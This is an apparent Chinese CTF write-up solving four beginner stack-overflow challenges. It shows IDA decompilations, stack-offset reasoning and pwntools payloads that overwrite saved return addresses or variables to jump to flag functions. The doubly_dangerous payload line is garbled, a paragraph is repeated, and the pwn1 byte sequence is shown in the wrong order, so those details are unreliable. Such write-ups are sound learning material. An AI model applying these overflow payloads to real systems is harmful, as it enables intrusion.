栈溢出入门练习

pwn学习资源

环境配置:https://bbs.ichunqiu.com/thread-42239-1-1.html

栈溢出基础:https://bbs.ichunqiu.com/thread-42241-1-1.html

以上由i春秋提供,适合新手学习,栈溢出基础这一章后面留了三个习题,做题记录如下。

1、warmup

程序运行,输出了一个地址

ida查看代码,逻辑很简单,输出一个地址,然后gets获取输入

int __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [sp+0h] [bp-80h]@1
char v5; // [sp+40h] [bp-40h]@1
write(1, "-Warm Up-\n", 0xAuLL);
write(1, "WOW:", 4uLL);
sprintf(&s, "%p\n", sub_40060D);
write(1, &s, 9uLL);
write(1, ">", 1uLL);
return gets(&v5, ">");
}

双击sub_40060d,发现0x40060d这个位置的函数是打开flag文件

所以本题目标就是要让程序跳转到这个位置,即设法让eip变成0x40060d。源码中gets是一个溢出点,gets的内容在v5内。在栈中,v5的起始地址和ebp相差0x40个字节,ebp占8字节,跟在ebp后面的是离开main函数时的eip

程序运行的栈

所以只要输入0x40+8个字节+0x40060d,即可修改栈中eip的值

from pwn import*
io=remote('172.17.0.2',10001) #这个IP和port是我本地的docker的IP和port
print io.recv()
payload='a'*72+p64(0x40060d)
io.sendline(payload)
print io.recv()

2、doubly_dangerous

运行程序,提示需要输入字符串。阅读源码,知道题目要求是让v5等于11.28125才能执行give_flag函数

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+Ch] [bp-4Ch]@1
float v5; // [sp+4Ch] [bp-Ch]@1
v5 = 0.0;
puts("Give me a string: ");
gets(&s);
if ( 11.28125 == v5 )
{
puts("Success! Here is your flag:");
give_flag();
}
else
{
puts("nope!");
}
return 0;
}

v5的值可以借助gets的栈溢出而被覆盖,v5离保存s的起始地址的相距0x40 bytes,所以payload=’a’*0x40+’\x00\x80\x34\xx=41′

3、pwn1

运行程序,提示输入,结合源码可知,用户输入的’I’会被替换成’you’,且源码中提供了一个give_flag。初步设想通过s来劫持eip到give_flag,但是要实现溢出还需要输入额外的64字节,而fgets只读入32字节。所以通过上面把I替换成you的方式,让输入的give_flag的地址后移到eip的位置。

初步设想通过s来劫持eip到give_flag,但是要实现溢出还需要输入额外的64字节,而fgets只读入32字节。所以通过上面把I替换成you的方式,让输入的give_flag的地址后移到eip的位置。

payload='I'*20+'aaaa'+p32(0x08048f0d)

这样在替换以后是’youyou·····youaaaa\x08\x04\x8f\x0d’,正好可以覆盖eip

程序运行的栈实况

4、just_do_it

运行程序,提示需要输入密码,结合代码可知存在fgets存在栈溢出

代码部分截图

密码在代码的数据段可以找到,但即使输入正确的密码也只是返回”correct password·····”。本题的思路是通过栈溢出覆盖v6,把v6的地址改成flag的地址,注意payload不能有正确的密码,那样会导致v6被success_message覆盖

payload='a'*20+p32(0x0804a080)#0x04a080是flag的地址
输入payload后的栈